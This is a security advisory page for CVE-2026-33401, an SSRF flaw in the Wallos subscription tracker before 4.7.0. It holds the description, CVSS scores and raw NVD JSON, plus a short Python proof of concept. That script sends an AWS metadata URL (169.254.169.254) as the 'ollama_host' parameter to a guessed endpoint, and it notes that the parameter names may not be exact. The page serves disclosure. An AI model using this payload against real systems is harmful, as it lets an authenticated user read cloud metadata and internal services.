Security Vulnerability Report
中文
CVE-2026-33401 CVSS 6.5 MEDIUM

CVE-2026-33401

Published: 2026-03-24 18:16:11
Last Modified: 2026-03-26 20:49:04

Description

Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.7.0, the patch introduced in commit e8a513591 (CVE-2026-30840) added SSRF protection to notification test endpoints but left three additional attack surfaces unprotected: the AI Ollama host parameter, the AI recommendations endpoint, and the notification cron job. An authenticated user can reach internal network services, cloud metadata endpoints (AWS IMDSv1, GCP, Azure IMDS), or localhost-bound services by supplying a crafted URL to any of these endpoints. This issue has been patched in version 4.7.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:wallosapp:wallos:*:*:*:*:*:*:*:* - VULNERABLE
Wallos < 4.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL for Wallos instance target = "http://<WALLOS_HOST>" # Authenticated session cookie (Required as PR:L) cookies = {'PHPSESSID': 'valid_session_id'} # SSRF Payload targeting AWS IMDSv1 # Can be injected into AI Ollama host parameter or AI recommendations endpoint ssrf_payload = "http://169.254.169.254/latest/meta-data/ami-id" # Example payload structure for the vulnerable AI endpoint # Note: Exact parameter names may vary based on the specific endpoint implementation payload_data = { "ollama_host": ssrf_payload # Vulnerable parameter mentioned in advisory } # Sending the request to the vulnerable endpoint response = requests.post(f"{target}/api/settings/ai", json=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Potential SSRF triggered.") print(f"[+] Response: {response.text}") else: print("[-] Exploit attempt failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33401", "sourceIdentifier": "[email protected]", "published": "2026-03-24T18:16:11.467", "lastModified": "2026-03-26T20:49:04.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.7.0, the patch introduced in commit e8a513591 (CVE-2026-30840) added SSRF protection to notification test endpoints but left three additional attack surfaces unprotected: the AI Ollama host parameter, the AI recommendations endpoint, and the notification cron job. An authenticated user can reach internal network services, cloud metadata endpoints (AWS IMDSv1, GCP, Azure IMDS), or localhost-bound services by supplying a crafted URL to any of these endpoints. This issue has been patched in version 4.7.0."}, {"lang": "es", "value": "Wallos es un rastreador de suscripciones personales de código abierto y autoalojable. Antes de la versión 4.7.0, el parche introducido en el commit e8a513591 (CVE-2026-30840) añadió protección SSRF a los puntos finales de prueba de notificación, pero dejó tres superficies de ataque adicionales desprotegidas: el parámetro de host de AI Ollama, el punto final de recomendaciones de AI y el trabajo cron de notificación. Un usuario autenticado puede alcanzar servicios de red internos, puntos finales de metadatos en la nube (AWS IMDSv1, GCP, Azure IMDS) o servicios vinculados a localhost al proporcionar una URL manipulada a cualquiera de estos puntos finales. Este problema ha sido parcheado en la versión 4.7.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wallosapp:wallos:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.7.0", "matchCriteriaId": "7376DD5F-C93E-4454-810B-DE04B2DE7032"}]}]}], "references": [{"url": "https://github.com/ellite/Wallos/commit/e87387f0ebb540cd33e6dfda7181db9db650ecef", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ellite/Wallos/commit/e8a513591", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ellite/Wallos/security/advisories/GHSA-r82v-p8cg-rgx3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}